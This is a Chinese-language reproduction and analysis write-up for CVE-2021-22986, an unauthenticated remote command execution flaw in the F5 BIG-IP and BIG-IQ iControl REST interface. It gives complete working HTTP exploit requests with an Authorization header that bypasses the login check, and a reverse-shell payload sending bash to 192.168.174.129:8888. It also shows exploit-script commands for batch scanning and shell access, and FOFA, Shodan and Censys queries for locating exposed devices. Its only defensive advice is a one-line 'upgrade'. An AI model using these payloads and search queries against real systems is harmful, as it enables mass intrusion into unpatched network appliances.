影响范围
- F5 BIG-IQ 6.0.0-6.1.0
- F5 BIG-IQ 7.0.0-7.0.0.1
- F5 BIG-IQ 7.1.0-7.1.0.2
- F5 BIG-IP 12.1.0-12.1.5.2
- F5 BIG-IP 13.1.0-13.1.3.5
- F5 BIG-IP 14.1.0-14.1.3.1
- F5 BIG-IP 15.1.0-15.1.2
- F5 BIG-IP 16.0.0-16.0.1
漏洞类型
远程命令执行
利用条件
影响范围应用
漏洞概述
F5 BIG-IP是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
2021年3月16日,F5更新的安全通告中披露了一则iControl REST接口未授权远程命令执行漏洞,此漏洞允许未经身份验证的攻击者通过BIG-IP管理接口和自身的IP地址,通过网络访问iControl REST接口,执行任意系统命令,创建或删除文件,并禁用服务。
漏洞复现
环境搭建
虚拟机下载
首先去官网(https://login.f5.com/resource/login.jsp)注册一个账号(ondxbz43867@chacuo.net/12345Qwert),并登陆:
之后进入下载页面,在这里我们下载v15.x系列的漏洞版本和安全版本进行分析测试,下载页面如下:
https://downloads.f5.com/esd/productlines.jsp
下载存在漏洞的BIG-IP的ova文件:
之后选择任意一种下载方式下载:
虚拟机搭建
将ova文件导入VMware Workstations中:
启动之后会要求输入账号密码,BIG默认账号密码为root/default:
成功登陆之后会要求我们重置密码,这个密码为Web页面的登陆密码(该密码要有一定的复杂度,这里使用kvqasdt!q1和kvqasdt!q2)需要记住:
然后在命令行下输入"config"打开打开Configuration Utility工具来查看当前BIG-IP的IP地址信息:
之后点击"OK",然后选择IPV4 IP地址:
之后你会看到当前存在漏洞的靶机主机IP地址信息(192.168.174.164)和安全靶机IP地址信息(192.168.174.165):
之后在浏览器中使用https://ip地址进行访问:
之后使用"admin/之前重置的密码—kvqasdt!q1"进行登录认证:
之后还需要再重置一次登录密码,这里重置为hkn!2gQWsgk和hkn!3gQWsgk
至此,我们已经拥有一个账号为admin/hkn!2gQWsgk的漏洞靶机和账户为admin/hkn!3gQWsgk的安全主机,下面我们进行简易测试~
漏洞利用
访问/mgmt/tm/util/bash,同时使用burpsuite抓包,添加一下POST请求体:
代码语言:javascript复制{
"command":"run",
"utilCmdArgs":"-c whoami"
}
之后直接执行,发现会需要进行身份认证:
代码语言:javascript复制POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token:
Authorization: Basic YWRtaW46QWwxZXg=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 50
{
"command":"run",
"utilCmdArgs":"-c whoami"
}
之后添加一下请求头,实现未授权RCE
代码语言:javascript复制X-F5-Auth-Token:
Authorization: Basic YWRtaW46QVNhc1M=
代码语言:javascript复制POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token:
Authorization: Basic YWRtaW46QVNhc1M=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 50
{
"command":"run",
"utilCmdArgs":"-c whoami"
}
之后通过RCE查看id
代码语言:javascript复制POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token:
Authorization: Basic YWRtaW46QWwxZXg=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 46
{
"command":"run",
"utilCmdArgs":"-c id"
}
之后反弹一个shell到Kali linux中:
代码语言:javascript复制-c 'bash -i >&/dev/tcp/192.168.174.129/8888 0>&1'
代码语言:javascript复制POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token:
Authorization: Basic YWRtaW46QWwxZXg=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 90
{
"command":"run",
"utilCmdArgs":"-c 'bash -i >&/dev/tcp/192.168.174.129/8888 0>&1'"
}
漏洞分析
漏洞POC如下:
代码语言:javascript复制POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token:
Authorization: Basic YWRtaW46QVNhc1M=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 50
{
"command":"run",
"utilCmdArgs":"-c whoami"
}
f5.rest.common.RestOperationIdentifier.class类中的setIdentityFromBasicAuth函数用于根据请求包中的信息来初始化identityData()
代码语言:javascript复制 private static boolean setIdentityFromBasicAuth(RestOperation request) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null)
return false;
AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
request.setIdentityData(components.userName, null, null);
return true;
}
}
以上代码首先会获取请求头中的Authorization字段,之后调用AuthzHelper.decodeBasicAuth进行一些base64解密操作:
代码语言:javascript复制 public static BasicAuthComponents decodeBasicAuth(String encodedValue) {
BasicAuthComponents components = new BasicAuthComponents();
if (encodedValue == null)
return components;
String decodedBasicAuth = new String(DatatypeConverter.parseBase64Binary(encodedValue));
int idx = decodedBasicAuth.indexOf(':');
if (idx > 0) {
components.userName = decodedBasicAuth.substring(0, idx);
if (idx 1 < decodedBasicAuth.length())
components.password = decodedBasicAuth.substring(idx 1);
}
return components;
}
之后调用setIdentityData函数来设置认证信息,需要注意的是这里传入的第二个、第三个参数全为null:
代码语言:javascript复制request.setIdentityData(components.userName, null, null);
setIdentityData函数的具体实现如下:
代码语言:javascript复制 public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {
if (userName == null && !RestReference.isNullOrEmpty(userReference)) {
String segment = UrlHelper.getLastPathSegment(userReference.link);
if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment }))))
userName = segment;
}
if (userName != null && RestReference.isNullOrEmpty(userReference))
userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName })));
this.identityData = new IdentityData();
this.identityData.userName = userName;
this.identityData.userReference = userReference;
this.identityData.groupReferences = groupReferences;
return this;
}
这里的userName不为null,所以直接跳过第一个if语句,而此时的userReference为空,满足第二个if条件语句,之后设置新的userReference,具体实现代码如下:
代码语言:javascript复制userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName })));
这里的WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH如下:
代码语言:javascript复制public static final String AUTHZ_USERS_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { AUTHZ_WORKER_URI_PATH, "users" });
AUTHZ_WORKER_URI_PATH如下:
代码语言:javascript复制public static final String AUTHZ_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "shared/", "authz" });
而这里的buildUriPath主要用于路径拼接:
代码语言:javascript复制 public static String buildUriPath(String... pathSegments) {
StringBuilder builder = new StringBuilder();
for (String segment : pathSegments) {
if (null != segment)
if (segment.length() != 0) {
if (segment.startsWith("/"))
segment = segment.substring(1);
if (segment.endsWith("/"))
segment = segment.substring(0, segment.length() - 1);
if (segment.length() != 0) {
builder.append("/");
boolean hasPathSeparator = segment.contains("/");
if (!hasPathSeparator) {
boolean hasQuerySeparator = segment.contains(RestOperation.QUERY_SEPARATOR_STRING);
if (!hasQuerySeparator)
segment = CharEscapers.escapeUriPath(segment);
}
builder.append(segment);
}
}
}
return builder.toString();
}
所以最后的新userReference为:shared/authz/users/admin,之后更新this信息:
代码语言:javascript复制 this.identityData = new IdentityData();
this.identityData.userName = userName;
this.identityData.userReference = userReference;
this.identityData.groupReferences = groupReferences;
return this;
所以最后的用户认证信息如下:
代码语言:javascript复制identityData.userName = 'admin';
identityData.userReference = 'shared/authz/users/admin'
identityData.groupReference = null;
下面来看鉴权部分,其核心部分位于f5.rest.workers.EvaluatePermissions的completeEvaluatePermission函数,具体代码如下所示:
代码语言:javascript复制private static void completeEvaluatePermission(final RestOperation request, AuthTokenItemState token, final CompletionHandler<Void> finalCompletion) {
final String path;
if (token != null) {
if (token.expirationMicros.longValue() < RestHelper.getNowMicrosUtc()) {
String error = "X-F5-Auth-Token has expired.";
setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), null);
return;
}
request.setXF5AuthTokenState(token);
}
request.setBasicAuthFromIdentity();
if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestOperation.RestMethod.POST)) {
finalCompletion.completed(null);
return;
}
if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[] { EXTERNAL_LOGIN_WORKER, "available" })) && request.getMethod().equals(RestOperation.RestMethod.GET)) {
finalCompletion.completed(null);
return;
}
final RestReference userRef = request.getAuthUserReference();
if (RestReference.isNullOrEmpty(userRef)) {
String error = "Authorization failed: no user authentication header or token detected. Uri:" request.getUri() " Referrer:" request.getReferer() " Sender:" request.getRemoteSender();
setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), null);
return;
}
if (AuthzHelper.isDefaultAdminRef(userRef)) {
finalCompletion.completed(null);
return;
}
if (UrlHelper.hasODataInPath(request.getUri().getPath())) {
path = UrlHelper.removeOdataSuffixFromPath(UrlHelper.normalizeUriPath(request.getUri().getPath()));
} else {
path = UrlHelper.normalizeUriPath(request.getUri().getPath());
}
final RestOperation.RestMethod verb = request.getMethod();
if (path.startsWith(EXTERNAL_GROUP_RESOLVER_PATH) && request.getParameter("$expand") != null) {
String filterField = request.getParameter("$filter");
if (USERS_GROUP_FILTER_STRING.equals(filterField) || USERGROUPS_GROUP_FILTER_STRING.equals(filterField)) {
finalCompletion.completed(null);
return;
}
}
if (token != null && path.equals(UrlHelper.buildUriPath(new String[] { EXTERNAL_AUTH_TOKEN_WORKER_PATH, token.token }))) {
finalCompletion.completed(null);
return;
}
roleEval.evaluatePermission(request, path, verb, new CompletionHandler<Boolean>() {
public void completed(Boolean result) {
if (result.booleanValue()) {
finalCompletion.completed(null);
return;
}
String error = "Authorization failed: user=" userRef.link " resource=" path " verb=" verb " uri:" request.getUri() " referrer:" request.getReferer() " sender:" request.getRemoteSender();
EvaluatePermissions.setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), null);
}
public void failed(Exception ex, Boolean result) {
request.setBody(null);
request.setStatusCode(500);
String error = "Internal server error while authorizing request";
finalCompletion.failed(new Exception(error), null);
}
});
}
从上面的代码可以看到这里首先会校验token是否为null,此时的token(X-F5-Auth-Token)为空,所以直接绕过后面的if语句内的检测:
代码语言:javascript复制if (token != null) {
if (token.expirationMicros.longValue() < RestHelper.getNowMicrosUtc()) {
String error = "X-F5-Auth-Token has expired.";
setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), null);
return;
}
request.setXF5AuthTokenState(token);
}
之后接着往下看,可以看到会去调用request.setBasicAuthFromIdentity();,我们跟进去查看一番:
代码语言:javascript复制 public void setBasicAuthFromIdentity() {
if (this.authorizationData == null)
return;
this.authorizationData.basicAuthValue = AuthzHelper.encodeBasicAuth(getAuthUser(), null);
}
此处的getAuthUser对应如下,用于获取认证的账户名:
代码语言:javascript复制 public String getAuthUser() {
return (this.identityData == null) ? null : this.identityData.userName;
}
encodeBasicAuth具体实现如下:
代码语言:javascript复制 public static String encodeBasicAuth(String user, String password) {
if (user == null)
return null;
String userPass = String.format("%s:%s", new Object[] { user, (password == null) ? "" : password });
return DatatypeConverter.printBase64Binary(userPass.getBytes());
}
故此处的setBasicAuthFromIdentity函数当用户请求中带有authorizationData认证信息时会将认证用户名以及强制置空的空密码作为参数传入encodeBasicAuth,如果用户名不为空则按照格式"用户名:null"进行一次base64加密后返回,注意此处没有采用认证信息中的用户名密码,而是将其强制置空后传入并按格式进行base64加密后返回,之后进行路径匹配:
代码语言:javascript复制if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestOperation.RestMethod.POST)) {
finalCompletion.completed(null);
return;
}
if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[] { EXTERNAL_LOGIN_WORKER, "available" })) && request.getMethod().equals(RestOperation.RestMethod.GET)) {
finalCompletion.completed(null);
return;
}
这里的EXTERNAL_LOGIN_WORKER)对应——shared/authn/login
代码语言:javascript复制public static final String WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "shared/", "authn", "login" });
buildUriPath函数如下,功能主要是拼接上面的string类型的数组中的路径:
代码语言:javascript复制 public static String buildUriPath(String... pathSegments) {
StringBuilder builder = new StringBuilder();
for (String segment : pathSegments) {
if (null != segment)
if (segment.length() != 0) {
if (segment.startsWith("/"))
segment = segment.substring(1);
if (segment.endsWith("/"))
segment = segment.substring(0, segment.length() - 1);
if (segment.length() != 0) {
builder.append("/");
boolean hasPathSeparator = segment.contains("/");
if (!hasPathSeparator) {
boolean hasQuerySeparator = segment.contains(RestOperation.QUERY_SEPARATOR_STRING);
if (!hasQuerySeparator)
segment = CharEscapers.escapeUriPath(segment);
}
builder.append(segment);
}
}
}
return builder.toString();
}
很明显上述两个匹配全部失败,之后调用getAuthUserReference,此时的userRef非空,所以直接跳过if判断语句:
代码语言:javascript复制final RestReference userRef = request.getAuthUserReference();
if (RestReference.isNullOrEmpty(userRef)) {
String error = "Authorization failed: no user authentication header or token detected. Uri:" request.getUri() " Referrer:" request.getReferer() " Sender:" request.getRemoteSender();
setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), null);
return;
}
之后通过检索userRef是否为DefaultAdminRef:
代码语言:javascript复制 if (AuthzHelper.isDefaultAdminRef(userRef)) {
finalCompletion.completed(null);
return;
}
isDefaultAdminRef函数实现如下所示:
代码语言:javascript复制 public static boolean isDefaultAdminRef(RestReference userReference) {
RestReference defaultReference = getDefaultAdminReference();
return (defaultReference != null && defaultReference.equals(userReference));
}
getDefaultAdminReference用于获取当前DefaultAdminRef,其功能实现如下所示:
代码语言:javascript复制 public static RestReference getDefaultAdminReference() {
if (DEFAULT_ADMIN_NAME == null)
return null;
return new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, DEFAULT_ADMIN_NAME })));
}
这里的DEFAULT_ADMIN_NAME为admin:
代码语言:javascript复制public static String DEFAULT_ADMIN_NAME = "admin";
此时的AUTHZ_USERS_WORKER_URI_PATH如下:
代码语言:javascript复制public static final String AUTHZ_USERS_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { AUTHZ_WORKER_URI_PATH, "users" });
AUTHZ_WORKER_URI_PATH如下:
代码语言:javascript复制public static final String AUTHZ_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "shared/", "authz" });
所以最后的DefaultAdminRef为shared/authz/users/admin,而之前的identityData.userReference为'shared/authz/users/admin',所以直接进入到if语句中,完成认证:
代码语言:javascript复制 if (AuthzHelper.isDefaultAdminRef(userRef)) {
finalCompletion.completed(null);
return;
}
漏洞EXP
使用方法:
代码语言:javascript复制python3 CVE_2021_22986.py
漏洞检测:
代码语言:javascript复制python3 CVE_2021_22986.py -v true -u https://192.168.174.164
命令执行:
代码语言:javascript复制python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id
代码语言:javascript复制 python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami
批量检测
代码语言:javascript复制python3 CVE_2021_22986.py -s true -f check.txt
反弹shell:
代码语言:javascript复制python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"
使用EXP检测安全靶机——漏洞不存在
漏洞检索
FOFA
代码语言:javascript复制app="F5-BIGIP"
Shodan
代码语言:javascript复制http.title:"BIG-IP®- Redirect"
Censys
代码语言:javascript复制443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5
防御措施
升级到最新版本~
参考链接
https://support.f5.com/csp/article/K03009991
https://github.com/Al1ex/CVE-2021-22986
https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986